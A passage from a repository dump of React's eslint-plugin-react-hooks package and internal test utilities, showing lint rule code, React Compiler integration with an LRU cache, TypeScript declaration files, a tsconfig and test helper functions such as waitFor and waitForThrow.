||\n    node.type === 'FunctionDeclaration' ||\n    (node.type === 'FunctionExpression' && node.id)\n  ) {\n    // function useHook() {}\n    // const whatever = function useHook() {};\n    //\n    // Function declaration or function expression names win over any\n    // assignment statements or other renames.\n    return node.id;\n  } else if (\n    node.type === 'FunctionExpression' ||\n    node.type === 'ArrowFunctionExpression'\n  ) {\n    if (\n      node.parent?.type === 'VariableDeclarator' &&\n      node.parent.init === node\n    ) {\n      // const useHook = () => {};\n      return node.parent.id;\n    } else if (\n      node.parent?.type === 'AssignmentExpression' &&\n      node.parent.right === node &&\n      node.parent.operator === '='\n    ) {\n      // useHook = () => {};\n      return node.parent.left;\n    } else if (\n      node.parent?.type === 'Property' &&\n      node.parent.value === node &&\n      !node.parent.computed\n    ) {\n      // {useHook: () => {}}\n      // {useHook() {}}\n      return node.parent.key;\n\n      // NOTE: We could also support `ClassProperty` and `MethodDefinition`\n      // here to be pedantic. However, hooks in a class are an anti-pattern. So\n      // we don't allow it to error early.\n      //\n      // class {useHook = () => {}}\n      // class {useHook() {}}\n    } else if (\n      node.parent?.type === 'AssignmentPattern' &&\n      node.parent.right === node &&\n      // @ts-expect-error Property computed does not exist on type `AssignmentPattern`.\n      !node.parent.computed\n    ) {\n      // const {useHook = () => {}} = {};\n      // ({useHook = () => {}} = {});\n      //\n      // Kinda clowny, but we'd said we'd follow spec convention for\n      // `IsAnonymousFunctionDefinition()` usage.\n      return node.parent.left;\n    } else {\n      return undefined;\n    }\n  } else {\n    return undefined;\n  }\n}\n\n/**\n * Convenience function for peeking the last item in a stack.\n */\nfunction last<T>(array: Array<T>): T {\n  return array[array.length - 1] as T;\n}\n\nexport default rule;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/shared/ReactCompiler.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nimport type {SourceLocation as BabelSourceLocation} from '@babel/types';\nimport {\n  type CompilerDiagnosticOptions,\n  type CompilerErrorDetailOptions,\n  CompilerSuggestionOperation,\n  LintRules,\n  type LintRule,\n  ErrorSeverity,\n  LintRulePreset,\n} from 'babel-plugin-react-compiler';\nimport {type Linter, type Rule} from 'eslint';\nimport runReactCompiler, {RunCacheEntry} from './RunReactCompiler';\n\nfunction assertExhaustive(_: never, errorMsg: string): never {\n  throw new Error(errorMsg);\n}\n\nfunction makeSuggestions(\n  detail: CompilerErrorDetailOptions | CompilerDiagnosticOptions,\n): Array<Rule.SuggestionReportDescriptor> {\n  const suggest: Array<Rule.SuggestionReportDescriptor> = [];\n  if (Array.isArray(detail.suggestions)) {\n    for (const suggestion of detail.suggestions) {\n      switch (suggestion.op) {\n        case CompilerSuggestionOperation.InsertBefore:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.insertTextBeforeRange(\n                suggestion.range,\n                suggestion.text,\n              );\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.InsertAfter:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.insertTextAfterRange(\n                suggestion.range,\n                suggestion.text,\n              );\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.Replace:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.replaceTextRange(suggestion.range, suggestion.text);\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.Remove:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.removeRange(suggestion.range);\n            },\n          });\n          break;\n        default:\n          assertExhaustive(suggestion, 'Unhandled suggestion operation');\n      }\n    }\n  }\n  return suggest;\n}\n\nfunction getReactCompilerResult(context: Rule.RuleContext): RunCacheEntry {\n  // Compat with older versions of eslint\n  const sourceCode = context.sourceCode ?? context.getSourceCode();\n  const filename = context.filename ?? context.getFilename();\n  const userOpts = context.options[0] ?? {};\n\n  const results = runReactCompiler({\n    sourceCode,\n    filename,\n    userOpts,\n  });\n\n  return results;\n}\n\nfunction hasFlowSuppression(\n  program: RunCacheEntry,\n  nodeLoc: BabelSourceLocation,\n  suppressions: Array<string>,\n): boolean {\n  for (const commentNode of program.flowSuppressions) {\n    if (\n      suppressions.includes(commentNode.code) &&\n      commentNode.line === nodeLoc.start.line - 1\n    ) {\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction makeRule(rule: LintRule): Rule.RuleModule {\n  const create = (context: Rule.RuleContext): Rule.RuleListener => {\n    const result = getReactCompilerResult(context);\n\n    for (const event of result.events) {\n      if (event.kind === 'CompileError') {\n        const detail = event.detail;\n        if (detail.category === rule.category) {\n          const loc = detail.primaryLocation();\n          if (loc == null || typeof loc === 'symbol') {\n            continue;\n          }\n          if (\n            hasFlowSuppression(result, loc, [\n              'react-rule-hook',\n              'react-rule-unsafe-ref',\n            ])\n          ) {\n            // If Flow already caught this error, we don't need to report it again.\n            continue;\n          }\n          /*\n           * TODO: if multiple rules report the same linter category,\n           * we should deduplicate them with a \"reported\" set\n           */\n          context.report({\n            message: detail.printErrorMessage(result.sourceCode, {\n              eslint: true,\n            }),\n            loc,\n            suggest: makeSuggestions(detail.options),\n          });\n        }\n      }\n    }\n    return {};\n  };\n\n  return {\n    meta: {\n      type: 'problem',\n      docs: {\n        description: rule.description,\n        recommended: rule.preset === LintRulePreset.Recommended,\n        url: `https://react.dev/reference/eslint-plugin-react-hooks/lints/${rule.name}`,\n      },\n      fixable: 'code',\n      hasSuggestions: true,\n      // validation is done at runtime with zod\n      schema: [{type: 'object', additionalProperties: true}],\n    },\n    create,\n  };\n}\n\ntype RulesConfig = {\n  [name: string]: {rule: Rule.RuleModule; severity: ErrorSeverity};\n};\n\nexport const allRules: RulesConfig = LintRules.reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport const recommendedRules: RulesConfig = LintRules.filter(\n  rule => rule.preset === LintRulePreset.Recommended,\n).reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport const recommendedLatestRules: RulesConfig = LintRules.filter(\n  rule =>\n    rule.preset === LintRulePreset.Recommended ||\n    rule.preset === LintRulePreset.RecommendedLatest,\n).reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport function mapErrorSeverityToESlint(\n  severity: ErrorSeverity,\n): Linter.StringSeverity {\n  switch (severity) {\n    case ErrorSeverity.Error: {\n      return 'error';\n    }\n    case ErrorSeverity.Warning: {\n      return 'warn';\n    }\n    case ErrorSeverity.Hint:\n    case ErrorSeverity.Off: {\n      return 'off';\n    }\n    default: {\n      assertExhaustive(severity, `Unhandled severity: ${severity}`);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts",
    "content": "/**\n * Type declarations for shared/ReactFeatureFlags\n *\n * This allows importing from the Flow-typed ReactFeatureFlags.js file\n * without TypeScript errors.\n */\ndeclare module 'shared/ReactFeatureFlags' {\n  export const eprh_enableUseKeyedStateCompilerLint: boolean;\n  export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean;\n  export const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n    | 'off'\n    | 'all'\n    | 'extra-only'\n    | 'missing-only';\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/shared/RunReactCompiler.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nimport {transformFromAstSync} from '@babel/core';\nimport {parse as babelParse} from '@babel/parser';\nimport {File} from '@babel/types';\nimport BabelPluginReactCompiler, {\n  parsePluginOptions,\n  validateEnvironmentConfig,\n  type PluginOptions,\n  Logger,\n  LoggerEvent,\n} from 'babel-plugin-react-compiler';\nimport type {SourceCode} from 'eslint';\nimport type * as ESTree from 'estree';\nimport * as HermesParser from 'hermes-parser';\nimport {isDeepStrictEqual} from 'util';\nimport type {ParseResult} from '@babel/parser';\nimport {\n  eprh_enableUseKeyedStateCompilerLint,\n  eprh_enableVerboseNoSetStateInEffectCompilerLint,\n  eprh_enableExhaustiveEffectDependenciesCompilerLint,\n} from 'shared/ReactFeatureFlags';\n\n// Pattern for component names: starts with uppercase letter\nconst COMPONENT_NAME_PATTERN = /^[A-Z]/;\n// Pattern for hook names: starts with 'use' followed by uppercase letter or digit\nconst HOOK_NAME_PATTERN = /^use[A-Z0-9]/;\n\n/**\n * Quick heuristic using ESLint's already-parsed AST to detect if the file\n * may contain React components or hooks based on function naming patterns.\n * Only checks top-level declarations since components/hooks are declared at module scope.\n * Returns true if compilation should proceed, false to skip.\n */\nfunction mayContainReactCode(sourceCode: SourceCode): boolean {\n  const ast = sourceCode.ast;\n\n  // Only check top-level statements - components/hooks are declared at module scope\n  for (const node of ast.body) {\n    if (checkTopLevelNode(node)) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nfunction checkTopLevelNode(node: ESTree.Node): boolean {\n  // Handle Flow component/hook declarations (hermes-eslint produces these node types)\n  // @ts-expect-error not part of ESTree spec\n  if (node.type === 'ComponentDeclaration' || node.type === 'HookDeclaration') {\n    return true;\n  }\n\n  // Handle: export function MyComponent() {} or export const useHook = () => {}\n  if (node.type === 'ExportNamedDeclaration') {\n    const decl = (node as ESTree.ExportNamedDeclaration).declaration;\n    if (decl != null) {\n      return checkTopLevelNode(decl);\n    }\n    return false;\n  }\n\n  // Handle: export default function MyComponent() {} or export default () => {}\n  if (node.type === 'ExportDefaultDeclaration') {\n    const decl = (node as ESTree.ExportDefaultDeclaration).declaration;\n    // Anonymous default function export - compile conservatively\n    if (\n      decl.type === 'FunctionExpression' ||\n      decl.type === 'ArrowFunctionExpression' ||\n      (decl.type === 'FunctionDeclaration' &&\n        (decl as ESTree.FunctionDeclaration).id == null)\n    ) {\n      return true;\n    }\n    return checkTopLevelNode(decl as ESTree.Node);\n  }\n\n  // Handle: function MyComponent() {}\n  // Also handles Flow component/hook syntax transformed to FunctionDeclaration with flags\n  if (node.type === 'FunctionDeclaration') {\n    // Check for Hermes-added flags indicating Flow component/hook syntax\n    if ('__componentDeclaration' in node || '__hookDeclaration' in node) {\n      return true;\n    }\n    const id = (node as ESTree.FunctionDeclaration).id;\n    if (id != null) {\n      const name = id.name;\n      if (COMPONENT_NAME_PATTERN.test(name) || HOOK_NAME_PATTERN.test(name)) {\n        return true;\n      }\n    }\n  }\n\n  // Handle: const MyComponent = () => {} or const useHook = function() {}\n  if (node.type === 'VariableDeclaration') {\n    for (const decl of (node as ESTree.VariableDeclaration).declarations) {\n      if (decl.id.type === 'Identifier') {\n        const init = decl.init;\n        if (\n          init != null &&\n          (init.type === 'ArrowFunctionExpression' ||\n            init.type === 'FunctionExpression')\n        ) {\n          const name = decl.id.name;\n          if (\n            COMPONENT_NAME_PATTERN.test(name) ||\n            HOOK_NAME_PATTERN.test(name)\n          ) {\n            return true;\n          }\n        }\n      }\n    }\n  }\n\n  return false;\n}\n\nconst COMPILER_OPTIONS: PluginOptions = {\n  outputMode: 'lint',\n  panicThreshold: 'none',\n  // Don't emit errors on Flow suppressions--Flow already gave a signal\n  flowSuppressions: false,\n  environment: {\n    validateRefAccessDuringRender: true,\n    validateNoSetStateInRender: true,\n    validateNoSetStateInEffects: true,\n    validateNoJSXInTryStatements: true,\n    validateNoImpureFunctionsInRender: true,\n    validateStaticComponents: true,\n    validateNoFreezingKnownMutableFunctions: true,\n    validateNoVoidUseMemo: true,\n    // TODO: remove, this should be in the type system\n    validateNoCapitalizedCalls: [],\n    validateHooksUsage: true,\n    validateNoDerivedComputationsInEffects: true,\n\n    // Experimental options controlled by ReactFeatureFlags\n    enableUseKeyedState: eprh_enableUseKeyedStateCompilerLint,\n    enableVerboseNoSetStateInEffect:\n      eprh_enableVerboseNoSetStateInEffectCompilerLint,\n    validateExhaustiveEffectDependencies:\n      eprh_enableExhaustiveEffectDependenciesCompilerLint,\n  },\n};\n\nexport type RunCacheEntry = {\n  sourceCode: string;\n  filename: string;\n  userOpts: PluginOptions;\n  flowSuppressions: Array<{line: number; code: string}>;\n  events: Array<LoggerEvent>;\n};\n\ntype RunParams = {\n  sourceCode: SourceCode;\n  filename: string;\n  userOpts: PluginOptions;\n};\nconst FLOW_SUPPRESSION_REGEX = /\\$FlowFixMe\\[([^\\]]*)\\]/g;\n\nfunction getFlowSuppressions(\n  sourceCode: SourceCode,\n): Array<{line: number; code: string}> {\n  const comments = sourceCode.getAllComments();\n  const results: Array<{line: number; code: string}> = [];\n\n  for (const commentNode of comments) {\n    const matches = commentNode.value.matchAll(FLOW_SUPPRESSION_REGEX);\n    for (const match of matches) {\n      if (match.index != null && commentNode.loc != null) {\n        const code = match[1];\n        results.push({\n          line: commentNode.loc!.end.line,\n          code,\n        });\n      }\n    }\n  }\n  return results;\n}\n\nfunction runReactCompilerImpl({\n  sourceCode,\n  filename,\n  userOpts,\n}: RunParams): RunCacheEntry {\n  // Compat with older versions of eslint\n  const options = parsePluginOptions({\n    ...COMPILER_OPTIONS,\n    ...userOpts,\n    environment: {\n      ...COMPILER_OPTIONS.environment,\n      ...userOpts.environment,\n    },\n  });\n  const results: RunCacheEntry = {\n    sourceCode: sourceCode.text,\n    filename,\n    userOpts,\n    flowSuppressions: [],\n    events: [],\n  };\n  const userLogger: Logger | null = options.logger;\n  options.logger = {\n    logEvent: (eventFilename, event): void => {\n      userLogger?.logEvent(eventFilename, event);\n      results.events.push(event);\n    },\n  };\n\n  try {\n    options.environment = validateEnvironmentConfig(options.environment ?? {});\n  } catch (err: unknown) {\n    options.logger?.logEvent(filename, err as LoggerEvent);\n  }\n\n  let babelAST: ParseResult<File> | null = null;\n\n  if (filename.endsWith('.tsx') || filename.endsWith('.ts')) {\n    try {\n      babelAST = babelParse(sourceCode.text, {\n        sourceFilename: filename,\n        sourceType: 'unambiguous',\n        plugins: ['typescript', 'jsx'],\n      });\n    } catch {\n      /* empty */\n    }\n  } else {\n    try {\n      babelAST = HermesParser.parse(sourceCode.text, {\n        babel: true,\n        enableExperimentalComponentSyntax: true,\n        sourceFilename: filename,\n        sourceType: 'module',\n      });\n    } catch {\n      /* empty */\n    }\n  }\n\n  if (babelAST != null) {\n    results.flowSuppressions = getFlowSuppressions(sourceCode);\n    try {\n      transformFromAstSync(babelAST, sourceCode.text, {\n        filename,\n        highlightCode: false,\n        retainLines: true,\n        plugins: [[BabelPluginReactCompiler, options]],\n        sourceType: 'module',\n        configFile: false,\n        babelrc: false,\n      });\n    } catch (err) {\n      /* errors handled by injected logger */\n    }\n  }\n\n  return results;\n}\n\nconst SENTINEL = Symbol();\n\n// Array backed LRU cache -- should be small < 10 elements\nclass LRUCache<K, T> {\n  // newest at headIdx, then headIdx + 1, ..., tailIdx\n  #values: Array<[K, T | Error] | [typeof SENTINEL, void]>;\n  #headIdx: number = 0;\n\n  constructor(size: number) {\n    this.#values = new Array(size).fill(SENTINEL);\n  }\n\n  // gets a value and sets it as \"recently used\"\n  get(key: K): T | null {\n    const idx = this.#values.findIndex(entry => entry[0] === key);\n    // If found, move to front\n    if (idx === this.#headIdx) {\n      return this.#values[this.#headIdx][1] as T;\n    } else if (idx < 0) {\n      return null;\n    }\n\n    const entry: [K, T] = this.#values[idx] as [K, T];\n\n    const len = this.#values.length;\n    for (let i = 0; i < Math.min(idx, len - 1); i++) {\n      this.#values[(this.#headIdx + i + 1) % len] =\n        this.#values[(this.#headIdx + i) % len];\n    }\n    this.#values[this.#headIdx] = entry;\n    return entry[1];\n  }\n  push(key: K, value: T): void {\n    this.#headIdx =\n      (this.#headIdx - 1 + this.#values.length) % this.#values.length;\n    this.#values[this.#headIdx] = [key, value];\n  }\n}\nconst cache = new LRUCache<string, RunCacheEntry>(10);\n\nexport default function runReactCompiler({\n  sourceCode,\n  filename,\n  userOpts,\n}: RunParams): RunCacheEntry {\n  const entry = cache.get(filename);\n  if (\n    entry != null &&\n    entry.sourceCode === sourceCode.text &&\n    isDeepStrictEqual(entry.userOpts, userOpts)\n  ) {\n    return entry;\n  }\n\n  // Quick heuristic: skip files that don't appear to contain React code.\n  // We still cache the empty result so subsequent rules don't re-run the check.\n  if (!mayContainReactCode(sourceCode)) {\n    const emptyResult: RunCacheEntry = {\n      sourceCode: sourceCode.text,\n      filename,\n      userOpts,\n      flowSuppressions: [],\n      events: [],\n    };\n    if (entry != null) {\n      Object.assign(entry, emptyResult);\n    } else {\n      cache.push(filename, emptyResult);\n    }\n    return {...emptyResult};\n  }\n\n  const runEntry = runReactCompilerImpl({\n    sourceCode,\n    filename,\n    userOpts,\n  });\n  // If we have a cache entry, we can update it\n  if (entry != null) {\n    Object.assign(entry, runEntry);\n  } else {\n    cache.push(filename, runEntry);\n  }\n  return {...runEntry};\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/shared/Utils.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport { Rule } from 'eslint';\n\nconst SETTINGS_KEY = 'react-hooks';\nconst SETTINGS_ADDITIONAL_EFFECT_HOOKS_KEY = 'additionalEffectHooks';\n\nexport function getAdditionalEffectHooksFromSettings(\n  settings: Rule.RuleContext['settings'],\n): RegExp | undefined {\n  const additionalHooks = settings[SETTINGS_KEY]?.[SETTINGS_ADDITIONAL_EFFECT_HOOKS_KEY];\n  if (additionalHooks != null && typeof additionalHooks === 'string') {\n    return new RegExp(additionalHooks);\n  }\n\n  return undefined;\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/types/estree.d.ts",
    "content": "import {Expression, Identifier, Node} from 'estree-jsx';\n\n/**\n * This file augments the `estree` types to include types that are not built-in to `estree` or `estree-jsx`.\n * This is necessary because the `estree` types are used by ESLint, and ESLint does not natively support\n * TypeScript or Flow types.  Since we're not using a ton of them, we can just add them here, rather than\n * installing typescript estree or flow estree types.\n *\n * This also adds support for the AST mutation that the Exhaustive deps rule does to add parent nodes.\n */\ndeclare module 'estree' {\n  // The Exhaustive deps rule mutates the AST to add parent nodes for efficient traversal.\n  // We need to augment the `estree` types to support that.\n  interface BaseNode {\n    parent?: Node;\n  }\n\n  // Adding types that aren't built-in to estree or estree-jsx.\n  // Namely, the specific TS and Flow types that we're using.\n  interface AsExpression extends BaseExpression {\n    type: 'AsExpression';\n    expression: Expression | Identifier;\n  }\n\n  interface OptionalCallExpression extends BaseCallExpression {\n    type: 'OptionalCallExpression';\n  }\n\n  interface OptionalMemberExpression extends MemberExpression {\n    type: 'OptionalMemberExpression';\n  }\n\n  interface TSAsExpression extends BaseExpression {\n    type: 'TSAsExpression';\n    expression: Expression | Identifier;\n  }\n\n  interface TSTypeQuery extends BaseNode {\n    type: 'TSTypeQuery';\n    exprName: Identifier;\n  }\n\n  interface TSTypeReference extends BaseNode {\n    type: 'TSTypeReference';\n    typeName: Identifier;\n  }\n\n  interface TypeCastExpression extends BaseExpression {\n    type: 'TypeCastExpression';\n    expression: Expression | Identifier;\n  }\n\n  // Extend the set of known Expression types\n  interface ExpressionMap {\n    AsExpression: AsExpression;\n    OptionalCallExpression: OptionalCallExpression;\n    OptionalMemberExpression: OptionalMemberExpression;\n    TSAsExpression: TSAsExpression;\n    TypeCastExpression: TypeCastExpression;\n  }\n\n  // Extend the set of known Node types\n  interface NodeMap {\n    AsExpression: AsExpression;\n    OptionalCallExpression: OptionalCallExpression;\n    OptionalMemberExpression: OptionalMemberExpression;\n    TSAsExpression: TSAsExpression;\n    TSTypeQuery: TSTypeQuery;\n    TSTypeReference: TSTypeReference;\n    TypeCastExpression: TypeCastExpression;\n  }\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/types/global.d.ts",
    "content": "// In order to support the __EXPERIMENTAL__ global in TypeScript,\n// we need to declare it here.  The value of this is set in both\n// the jest setup and CI build\ndeclare const __EXPERIMENTAL__: boolean;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/types/hermes-eslint.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module 'hermes-eslint' {\n  // https://fburl.com/2vikhmaa\n  type ParseForESLintOptions = {\n    /**\n     * Whether the whole script is executed under node.js environment.\n     * When enabled, the scope manager adds a function scope immediately following the global scope.\n     * Defaults to `false`.\n     */\n    globalReturn: boolean;\n\n    /**\n     * The identifier that's used for JSX Element creation (after transpilation).\n     * This should not be a member expression - just the root identifier (i.e. use \"React\" instead of \"React.createElement\").\n     *\n     * To use the new global JSX transform function, you can explicitly set this to `null`.\n     *\n     * Defaults to `\"React\"`.\n     */\n    jsxPragma: string | null;\n\n    /**\n     * The identifier that's used for JSX fragment elements (after transpilation).\n     * If `null`, assumes transpilation will always use a member on `jsxFactory` (i.e. React.Fragment).\n     * This should not be a member expression - just the root identifier (i.e. use \"h\" instead of \"h.Fragment\").\n     * Defaults to `null`.\n     */\n    jsxFragmentName: string | null;\n\n    /**\n     * The source type of the script.\n     */\n    sourceType: 'script' | 'module';\n\n    /**\n     * Ignore <fbt /> JSX elements when adding references to the module-level `React` variable.\n     * FBT is JSX that's transformed to non-JSX and thus references differently\n     *\n     * https://facebook.github.io/fbt/\n     */\n    fbt: boolean;\n\n    /**\n     * Support experimental component syntax\n     *\n     * Defaults to `true`.\n     */\n    enableExperimentalComponentSyntax?: boolean;\n  };\n  export function parse(code: string, options?: Partial<ParseForESLintOptions>);\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/types/hermes-parser.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module 'hermes-parser' {\n  type HermesParserOptions = {\n    allowReturnOutsideFunction?: boolean;\n    babel?: boolean;\n    flow?: 'all' | 'detect';\n    enableExperimentalComponentSyntax?: boolean;\n    sourceFilename?: string;\n    sourceType?: 'module' | 'script' | 'unambiguous';\n    tokens?: boolean;\n  };\n  export function parse(code: string, options: Partial<HermesParserOptions>);\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"target\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"lib\": [\"ES2020\", \"dom\"],\n    \"sourceMap\": false,\n    \"types\": [\"estree-jsx\", \"node\"],\n    \"downlevelIteration\": true,\n    \"paths\": {\n      \"babel-plugin-react-compiler\": [\"../../compiler/packages/babel-plugin-react-compiler/src\"],\n      \"shared/*\": [\"../shared/*\"]\n    },\n    \"jsx\": \"react-jsxdev\",\n    \"rootDir\": \"../..\",\n    \"baseUrl\": \".\",\n    \"typeRoots\": [\n      \"../../node_modules/@types\"\n    ],\n    \"checkJs\": false,\n    \"allowJs\": false,\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": true,\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"removeComments\": true,\n  },\n  \"include\": [\"src/**/*.ts\", \"__tests__/**/*.ts\"]\n}\n"
  },
  {
    "path": "packages/internal-test-utils/ReactInternalTestUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as SchedulerMock from 'scheduler/unstable_mock';\nimport {diff} from 'jest-diff';\nimport {equals} from '@jest/expect-utils';\nimport enqueueTask from './enqueueTask';\nimport simulateBrowserEventDispatch from './simulateBrowserEventDispatch';\nimport {\n  clearLogs,\n  clearWarnings,\n  clearErrors,\n  createLogAssertion,\n} from './consoleMock';\nexport {getDebugInfo} from './debugInfo';\nexport {act, serverAct} from './internalAct';\nconst {assertConsoleLogsCleared} = require('internal-test-utils/consoleMock');\n\nimport {thrownErrors, actingUpdatesScopeDepth} from './internalAct';\n\nfunction assertYieldsWereCleared(caller) {\n  const actualYields = SchedulerMock.unstable_clearLog();\n  if (actualYields.length !== 0) {\n    const error = Error(\n      'The event log is not empty. Call assertLog(...) first.',\n    );\n    Error.captureStackTrace(error, caller);\n    throw error;\n  }\n  assertConsoleLogsCleared();\n}\n\nexport async function waitForMicrotasks() {\n  return new Promise(resolve => {\n    enqueueTask(() => resolve());\n  });\n}\n\nexport async function waitFor(expectedLog, options) {\n  assertYieldsWereCleared(waitFor);\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, waitFor);\n\n  const stopAfter = expectedLog.length;\n  const actualLog = [];\n  do {\n    // Wait until end of current task/microtask.\n    await waitForMicrotasks();\n    if (SchedulerMock.unstable_hasPendingWork()) {\n      SchedulerMock.unstable_flushNumberOfYields(stopAfter - actualLog.length);\n      actualLog.push(...SchedulerMock.unstable_clearLog());\n      if (stopAfter > actualLog.length) {\n        // Continue flushing until we've logged the expected number of items.\n      } else {\n        // Once we've reached the expected sequence, wait one more microtask to\n        // flush any remaining synchronous work.\n        await waitForMicrotasks();\n        actualLog.push(...SchedulerMock.unstable_clearLog());\n        break;\n      }\n    } else {\n      // There's no pending work, even after a microtask.\n      break;\n    }\n  } while (true);\n\n  if (options && options.additionalLogsAfterAttemptingToYield) {\n    expectedLog = expectedLog.concat(\n      options.additionalLogsAfterAttemptingToYield,\n    );\n  }\n\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  error.message = `\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`;\n  throw error;\n}\n\nexport async function waitForAll(expectedLog) {\n  assertYieldsWereCleared(waitForAll);\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, waitForAll);\n\n  do {\n    // Wait until end of current task/microtask.\n    await waitForMicrotasks();\n    if (!SchedulerMock.unstable_hasPendingWork()) {\n      // There's no pending work, even after a microtask. Stop flushing.\n      break;\n    }\n    SchedulerMock.unstable_flushAllWithoutAsserting();\n  } while (true);\n\n  const actualLog = SchedulerMock.unstable_clearLog();\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  error.message = `\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`;\n  throw error;\n}\n\nfunction aggregateErrors(errors: Array<mixed>): mixed {\n  if (errors.length > 1 && typeof AggregateError === 'function') {\n    return new AggregateError(errors);\n  }\n  return errors[0];\n}\n\nexport async function waitForThrow(expectedError: mixed): mixed {\n  assertYieldsWereCleared(waitForThrow);\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, waitForThrow);\n\n  do {\n    // Wait until end of current task/microtask.\n    await waitForMicrotasks();\n    if (!SchedulerMock.unstable_hasPendingWork()) {\n      // There's no pending work, even after a microtask. Stop flushing.\n      error.message = 'Expected something to throw, but nothing did.';\n      throw error;\n    }\n\n    const errorHandlerDOM = function (event: ErrorEvent) {\n      // Prevent logs from reprinting this error.\n      event.preventDefault();\n      thrownErrors.push(event.error);\n    };\n    const errorHandlerNode = function (err: mixed) {\n      thrownErrors.push(err);\n    };\n    // We track errors that were logged globally as if they occurred in this scope and then rethrow them.\n    if (actingUpdatesScopeDepth === 0) {\n      if (\n        typeof window === 'object' &&\n        typeof window.addEventListener === 'function'\n      ) {\n        // We're in a JS DOM environment.\n        window.addEventListener('error', errorHandlerDOM);\n      } else if (typeof process === 'object') {\n        // Node environment\n        process.on('uncaughtException', errorHandlerNode);\n      }\n    }\n    try {\n      SchedulerMock.unstable_flushAllWithoutAsserting();\n    } catch (x) {\n      thrownErrors.push(x);\n    } finally {\n      if (actingUpdatesScopeDepth === 0) {\n        if (\n          typeof window === 'object' &&\n          typeof window.addEventListener === 'function'\n        ) {\n          // We're in a JS DOM environment.\n          window.removeEventListener('error', errorHandlerDOM);\n        } else if (typeof process === 'object') {\n          // Node environment\n          process.off('uncaughtException', errorHandlerNode);\n        }\n      }\n    }\n    if (thrownErrors.length > 0) {\n      const thrownError = aggregateErrors(thrownErrors);\n      thrownErrors.length = 0;\n\n      if (expectedError === undefined) {\n        // If no expected error was provided, then assume the caller is OK with\n        // any error being thrown. We're returning the error so they can do\n        // their own checks, if they wish.\n        return thrownError;\n      }\n      if (equals(thrownError, expectedError)) {\n        return thrownError;\n      }\n      if (\n        typeof expectedError === 'string' &&\n        typeof thrownError === 'object' &&\n        thrownError !== null &&\n        typeof thrownError.message === 'string'\n      ) {\n        if (thrownError.message.includes(expectedError)) {\n          return thrownError;\n        } else {\n          error.message = `\nExpected error was not thrown.\n\n${diff(expectedError, thrownError.message)}\n`;\n          throw error;\n        }\n      }\n      error.message = `\nExpected error was not thrown.\n\n${diff(expectedError, thrownError)}\n`;\n      throw error;\n    }\n  } while (true);\n}\n\n// This is prefixed with `unstable_` because you should almost always try to\n// avoid using it in tests. It's really only for testing a particular\n// implementation detail (update starvation prevention).\nexport async function unstable_waitForExpired(expectedLog): mixed {\n  assertYieldsWereCleared(unstable_waitForExpired);\n\n  // Create the error object before doing any async 